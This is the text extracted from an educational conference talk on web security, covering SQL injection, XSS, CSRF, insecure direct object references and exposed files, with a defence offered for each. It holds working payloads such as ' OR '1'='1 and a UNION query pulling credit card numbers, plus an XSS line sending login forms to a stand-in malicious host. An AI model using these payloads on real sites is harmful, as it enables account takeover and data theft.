hacking your way to better security - zendcon 2016

118
Hacking Your Way To Better Security

Upload: colin-odell

Post on 25-Jan-2017

110 views

Category:

Software


1 download

TRANSCRIPT

PowerPoint Presentation

Hacking Your WayTo Better Security

NO NAME YET

Colin ODellLead Web Developer at Unleashed TechnologiesPHP developer since 2002league/commonmark maintainerPHP 7 Migration Guide e-book authorphp[world] 2015 CtF winner@colinodell

14 years

Capture the Flag is

Not a professional security researcher, but

Id like to share some of that knowledge with you today2

GoalsExplore several top security vulnerabilities from the perspective of an attacker.Understand how to detect and exploit common vulnerabilitiesLearn how to protect against those vulnerabilities@colinodell

Goals of this intermediate-level talk

DisclaimersNEVER test systems that arent yours without explicit permission.Examples in this talk are fictional, but the vulnerability behaviors shown are very real.@colinodell

Asking forgiveness is easier than asking for permissionNot if youre in jail----I might mention some real sites, but none are actually vulnerableJust make it easier to explain things since youre probably familiar with how theyre supposed to function

OWASP Top 10

OWASP Top 10Regular publication by The Open Web Application Security Project

Highlights the 10 most-critical web application security risks@colinodell

Non-profit organization

Provide free articles, resources, and tools for web security

Each risk is documented with a description, detailed examples, mitigation techniques, and references to other helpful resources

SQL Injection

Modifying SQL statements to:Spoof identityTamper with dataDisclose hidden information

SQL Injection Basics$value = $_REQUEST['value'];SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";$sql = "SELECT * FROM x WHERE y = '$value' ";$database->query($sql);

UsernamePassword

Log Inadminpassword

UsernamePassword

Log Inadminpassword'Invalid username or password. Please double-check and try again.

UsernamePassword

Log Inadmin

Unknown error.

tail n 1 /var/log/apache2/error.log

MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1.

tail n 1 /var/log/mysql/query.log

SELECT * FROM users WHERE username = 'admin' AND password = 'password'';

$$

tail n 1 /var/log/apache2/error.log

MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near "password'" at line 1.

tail n 1 /var/log/mysql/query.log

SELECT * FROM users WHERE username = 'admin' AND password = 'password'';

$$~~

UsernamePassword

Log Inadmin' testUnknown error.

UsernamePassword

Log Inadmin

Unknown error.

tail n 1 /var/log/apache2/error.log

MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near"' test" at line 1.

tail n 1 /var/log/mysql/query.log

SELECT * FROM users WHERE username = 'admin' AND password = '' test';

$$

tail n 1 /var/log/apache2/error.log

MySQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near"' test" at line 1.

tail n 1 /var/log/mysql/query.log

SELECT * FROM users WHERE username = 'admin' AND password = '' test';

$$~~~~~~~~

~~~~~~~~SELECT * FROM users WHERE username = 'admin' AND password = '' test';

SELECT * FROM users WHERE username = 'admin' AND password = '';

SELECT * FROM users WHERE username = 'admin' AND password = '' OR (something that is true);

SELECT * FROM users WHERE username = 'admin' AND (true);

SELECT * FROM users WHERE username = 'admin';

[Quickly]

SELECT * FROM users WHERE username = 'admin' AND password = '' test ';' test

SELECT * FROM users WHERE username = 'admin' AND password = '' test ';

SELECT * FROM users WHERE username = 'admin' AND password = '' test ';' test~~~~~~~~~~~~~~~~~~~~

SELECT * FROM users WHERE username = 'admin' AND password = ' ';

SELECT * FROM users WHERE username = 'admin' AND password = ' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' ';'~~~~

SELECT * FROM users WHERE username = 'admin' AND password = '' ' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' ' ';' '~~~~~~~~~~~~~~~~

SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' OR ' ';' OR '

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1 ' ';' OR '1 '~~~~

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' ' ';' OR '1' '~~~~~~~~~

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' ';

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'=' ';' OR '1'='

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';

SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';' OR '1'='1

UsernamePassword

Log Inadmin' OR '1'='1Unknown error.

Welcome Admin!Admin Menu:Give customer moneyTake money awayReview credit card applicationsClose accounts

Blind SQL Injection

Blind SQL InjectionInvalid username or password. Please double-check and try again.Unknown error.Valid query (empty result)Invalid queryWelcome Admin!Valid query (with result)@colinodell

Syntax errorSingle quote is missing its pairQuery is structured differently than expectedTable or column doesnt exist

If we know site is vulnerable and see this (#2)SQL injection almost workedTable and column names are validAssertion failed

SQL injection worked (definitely)Database and column names are validAssertion succeeded or conditional bypassed

' AND (SELECT id FROM user LIMIT 1) = '

UsernamePasswordadminLog InReal-Time MySQL View

Lets try to figure out table and column namesProbably a user table

' AND (SELECT id FROM user LIMIT 1) = 'UsernamePasswordadminUnknown error.Log In

Error LogQuery LogSELECT * FROM users WHERE username = 'admin' ANDpassword = '' AND (SELECT id FROM user LIMIT 1) = '';

' AND (SELECT id FROM user LIMIT 1) = 'UsernamePasswordadminUnknown error.Log In

Query LogMySQL error: Unknown table 'user'.Error Log

' AND (SELECT id FROM users LIMIT 1) = 'UsernamePasswordadminUnknown error.Log In

Query LogMySQL error: Unknown table 'user'.Error Log

' AND (SELECT id FROM users LIMIT 1) = 'UsernamePasswordadminInvalid username or password. Please double-check and try again.Log In

SQL Injection - Data Disclosure

But previous method is all guessworkWhat if just show the data?

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/123SELECT * FROM books WHERE id = 123$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => 'The Great Gatsby', 'author' => 'F. Scott Fitzgerald', 'price' => 9.75}

@colinodell

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999SELECT * FROM books WHERE id = 99999$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{}

@colinodell

OUTRO: So thats the desired functionalityBut what if this site was vulnerable?What could we do?Well

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/?????SELECT * FROM books WHERE id = ?????$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0.00}

@colinodell

Maybe we could somehow set the id to cause a SQL injection that ouputs other information we want.But how you ask?With the SQL UNION operator

SQL UNION QueryColumn 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75

Column 1Column 2Column 3FooBar123

Column 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75FooBar123

UNION

@colinodell

SQL UNION QueryColumn 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75

Column 1Column 2Column 3(SELECT)11

Column 1Column 2Column 3The Great GatsbyF. Scott Fitzgerald9.75(SELECT)11

UNION

@colinodell

SQL UNION QueryColumn 1Column 2Column 3(empty)

Column 1Column 2Column 3(SELECT)11

Column 1Column 2Column 3(SELECT)11

UNION

@colinodell

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards SELECT * FROM books WHERE id = ?????

$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);

{ 'title' => '', 'author' => '', 'price' => 0.00}@colinodell

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = ?????

$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);

{ 'title' => '', 'author' => '', 'price' => 0.00}@colinodell

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => '', 'author' => '', 'price' => 0}

@colinodell

SQL Injection - Data Disclosurehttp://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards SELECT * FROM books WHERE id = 99999 UNION SELECT number AS 'title', 1 AS 'author', 1 AS 'price' FROM creditcards$id = ;

$sql = "SELECT title, author, price FROM books WHERE id = " . $id;

$data = $database->query($sql);{ 'title' => '4012-3456-7890-1234', 'author' => 1, 'price' => 1}

@colinodell

Protecting Against SQL Injection$value = $_REQUEST['value'];

$sql = "SELECT * FROM x WHERE y = '$value' ";$database->query($sql);

Protecting Against SQL InjectionBlock input with special characters

Protecting Against SQL InjectionBlock input with special charactersEscape user input$value = $_REQUEST['value'];$escaped = mysqli_real_escape_string($value);

$sql = "SELECT * FROM x WHERE y = '$escaped' ";$database->query($sql);' OR '1' = '1\' OR \'1\' = \'1mysqli_real_escape_string()SELECT * FROM x WHERE y = '\' OR \'1\' = \'1'

CLICK TO ANIMATE EXPLANATION

OUTRO: Or better yet

Protecting Against SQL InjectionBlock input with special charactersEscape user input$value = $_REQUEST['value'];$escaped = mysqli_real_escape_string($value);

$sql = "SELECT * FROM x WHERE y = '$escaped' ";$database->query($sql);' OR '1' = '1\' OR \'1\' = \'1mysqli_real_escape_string()SELECT * FROM x WHERE y = '\' OR \'1\' = \'1'

CLICK TO ANIMATE EXPLANATION

OUTRO: Or better yet

Protecting Against SQL InjectionBlock input with special charactersEscape user inputUse prepared statements $mysqli = new mysqli("localhost", "user", "pass", "db");

$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");

$q->bind_param(1, $_REQUEST['value']);

$q->execute();Native PHP:mysqlipdo_mysql

Frameworks / Libraries:DoctrineEloquentZend_Db

Other Types of InjectionNoSQL databasesOS CommandsLDAP QueriesSMTP Headers@colinodell

XSSCross-Site ScriptingInjecting code into the webpage(for other users)Execute malicious scriptsHijack sessionsInstall malwareDeface websites

XSS AttackBasics$value = $_POST['value'];$value = $rssFeed->first->title;$value = db_fetch('SELECT value FROM table');

Raw code/scriptis injected onto a page

XSS Cross-Site Scripting Basics

Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

document.getElementById('evilform').submit();

@colinodell

So when the server sends the code,The browser runs it as-isJust like all other HTML/JS that intentionally runs

XSS Cross-Site Scripting

XSS Cross-Site Scripting

short.lyPaste a URL hereShorten@colinodell

XSS Cross-Site Scripting

short.lyhttp://www.colinodell.comShorten@colinodell

XSS Cross-Site Scripting

short.lyhttp://www.colinodell.comShortenShort URL:http://short.ly/b7fe9

Original URL:http://www.colinodell.com@colinodell

XSS Cross-Site Scripting

short.lyPlease wait while we redirect you tohttp://www.colinodell.com@colinodell

XSS Cross-Site Scripting

short.lyalert('hello world!');Shorten@colinodell

(EXPLAIN CODE)This JS should create an alert popup window(SUBMIT)

XSS Cross-Site Scripting

short.lyalert('hello world!');ShortenShort URL:http://short.ly/3bs8a

Original URL:hello world!OKX@colinodell

XSS Cross-Site Scripting

short.lyalert('hello world!');ShortenShort URL:http://short.ly/3bs8a

Original URL:@colinodell

Short URL: http://short.ly/3bs8a

Original URL: alert('hello world!');

XSS Cross-Site Scripting

short.ly

Shorten@colinodell

AUDIO STARTS NEXT SLIDE

XSS Cross-Site Scripting

short.ly

ShortenShort URL:http://short.ly/3bs8a

Original URL:

@colinodell

XSS Cross-Site Scripting

short.lyPlease wait while we redirect you to

@colinodell

XSS Cross-Site Scriptingdocument.getElementById('login-form').action ='http://malicious-site.com/steal-passwords.php';@colinodell

Ex 1: REDDIT

Ex 2: phpbb forums

Protecting Against XSS Attacks$value = $_POST['value'];$value = db_fetch('SELECT value FROM table');$value = $rssFeed->first->title;

Protecting Against XSS AttacksFilter user input$value = strip_tags($_POST['value']);$value = strip_tags( db_fetch('SELECT value FROM table') );$value = strip_tags($rssFeed->first->title);

Some data lossPastebin, Gist, etc

Protecting Against XSS AttacksFilter user inputEscape user input$value = htmlspecialchars($_POST['value']);$value = htmlspecialchars( db_fetch('SELECT value FROM table') );$value = htmlspecialchars($rssFeed->first->title);

htmlspecialchars()

Safer, no data loss

Protecting Against XSS AttacksFilter user inputEscape user inputEscape output$value = $_POST['value'];$value = db_fetch('SELECT value FROM table');$value = $rssFeed->first->title;

Protecting Against XSS AttacksFilter user inputEscape user inputEscape output{{ some_variable }}{{ some_variable|raw }}

Laravel blade also automatic, similar syntax

CSRFCross-Site Request ForgeryExecute unwanted actions on another site which user is logged in to.Change passwordTransfer fundsAnything the user can do

CSRF Cross-Site Request Forgery

Hi Facebook! I am colinodell and my password is *****.

Welcome Colin! Heres your news feed.

Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.@colinodell

CSRF Cross-Site Request Forgery

Hi other website! Show me your homepage.

Sure, here you go!Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

document.getElementById('evilform').submit();

@colinodell

CSRF Cross-Site Request Forgery

document.getElementById('evilform').submit();

@colinodell

CSRF Cross-Site Request Forgery

document.getElementById('evilform').submit();

Tell Facebook we want to change our password to hacked123

Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

@colinodell

CSRF Cross-Site Request Forgery

document.getElementById('evilform').submit();

Hi Facebook! Please change my password to hacked123.

Snipicons by Snip Master licensed under CC BY-NC 3.0.Cookie icon by Daniele De Santis licensed under CC BY 3.0.Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.pngLogos are copyright of their respective owners.

Done!

@colinodell

OUTRO: Can also be done by using XSS

CSRF Cross-Site Request Forgery

short.ly

Shorten@colinodell

CSRF Cross-Site Request Forgery

short.lyPlease wait while we redirect you toX@colinodell

Protecting Against CSRF AttacksOnly use POST requests?

[Cross site request forgery]

What if we

Would that be safe?

Protecting Against CSRF AttacksOnly use POST requests?NO!

POST requests are vulnerable too

Common Misconceptions:

tags can only make GET requests

If a user doesnt click a form it wont submit

This is one of many common misconceptions some developers have.For example

Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?

Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?NO!

Cookies are sent on every request.

Protecting Against CSRF AttacksOnly use POST requests?Use a secret cookie?Use random CSRF tokensYES!

Generate a random string per user.Store it in their session.Add to form as hidden field.Compare submitted value to sessionSame token? Proceed.Different/missing? Reject the request.

Hidden value, only shown on our website, that only us and the current page knowOTHER SITES CANT SEE THIS VALUE, ONLY THE USER (due to browsers same-origin policy)NOT SAVED TO COOKIE OR AVAILABLE OUTSIDE WEBSITE!

(AFTER BULLETS)Remember, the attacker doesnt have access to their session or the HTML you generated dynamically for the particular user.

InsecureDirect Object ReferencesAccess & manipulate objects you shouldnt have access to

Insecure Direct Object References

@colinodell

Lets imagine Facebook is vulnerable to [READ TITLE]Just change the 9 to an 8

Insecure Direct Object References

Beverly Cooper

@colinodell

Even though Facebook never linked us here, we still got hereAnd FB didnt check again at _this_ point in time

OUTRO: Fake example FB doesnt do this

Insecure Direct Object References

@colinodell

Facebook does check whether youre authorized to see the image

OUTRO: Not just limited to URLs

Insecure Direct Object References

@colinodell

Insecure Direct Object References

@colinodell

Insecure Direct Object References

@colinodell

If bank is vulnerable, and form is submitted,They wont check the ID and allow the transfer to go throughBad!

Protecting Against Insecure Direct Object ReferencesCheck permission on data inputURL / route parameters

Form field inputs

Basically anything thats an ID

If they dont have permission, show a 403 (or 404) page

#2 I like Symfony because it whitelists values in values in dropdowns ()

#3 Good guideline, but not all-encompassing rule

Protecting Against Insecure Direct Object ReferencesCheck permission on data inputCheck permission on data outputDo they have permission to access this object?

Do they have permission to even know this exists?

This is not security through obscurity

#3 That means hiding the objects / IDs as the only measure of securityWhat I mean is not disclosing information users shouldnt see, or showing actions they cant take

Sensitive Data Exposure

Security Misconfiguration

Components with Known Vulnerabilities

Actually three different vuln

Similar enough

http://www.example.com/CHANGELOGhttp://www.example.com/composer.lockhttp://www.example.com/.git/http://www.example.com/.envhttp://www.example.com/robots.txt

Sensitive Data Exposure@colinodell

Is private data being exposed to the world?

Sensitive Data Exposure - CHANGELOG

@colinodell

Sensitive Data Exposure composer.lock

@colinodell

Sensitive Data Exposure composer.lock

@colinodell

Sensitive Data Exposure .git

@colinodell

Sensitive Data Exposure robots.txt

@colinodell

Private information that is stored, transmitted, or backed-up in clear text (or with weak encryption)Customer informationCredit card numbersCredentialsSensitive Data Exposure@colinodell

OUTRO: So thats sensitive data exposure. In a similar vein we have

Security Misconfiguration & Components with Known VulnerabilitiesDefault accounts enabled; weak passwordsadmin / admin

Security configurationDoes SSH grant root access?Are weak encryption keys used?

Out-of-date softwareOld versions with known issuesAre the versions exposed?Unused software running (DROWN attack)

@colinodell

[DROWN: fast description]

Components with Known Vulnerabilities

@colinodell

Components with Known Vulnerabilities

@colinodell

Components with Known Vulnerabilities

@colinodell

You might be thinking OMG they explain the attack?Yes, but its a good thing!

Problem is: your version is exposed, hackers may know youre vulnerable

Protecting AgainstSensitive Data Exposure, Security Mismanagement, and Components with Known VulnerabilitiesKeep software up-to-dateInstall critical updates immediately

Install other updates regularly

#1 If theres a patch available, theres also a hacker who can understand the original problem and create an exploit

#2 Otherwise software falls into decay and is extremely hard to upgrade when the next critical update rolls out

Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootFiles which provide version numbersREADME, CHANGELOG, .git, composer.lock

Database credentials & API keys

Encryption keys

END: But really, you should hide them

Protecting AgainstSensitive Data Exposure, Security Misconfiguration, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootUse strong encryptionEncrypt with a strong private key

Encrypt backups and data-in-transit

Use strong hashing techniques for passwords

Protecting AgainstSensitive Data Exposure, Security Mismanagement, and Components with Known VulnerabilitiesKeep software up-to-dateKeep sensitive data out of web rootUse strong encryptionTest your systemsScan your systems with automated tools

Test critical components yourselfAutomated testsManual tests

Good advice in general for all security topics weve covered

And that wraps up the last set of vulenerabilities were covering today

Next StepsTest your own applications for vulnerabilitiesLearn more about security & ethical hackingEnter security competitions (like CtF)Stay informed@colinodell

PodcastsSlashdotSubreddits

Questions?

Thanks!Slides & feedback: https://joind.in/talk/11f91 Colin O\\\\\'Dell@colinodell

null15046.456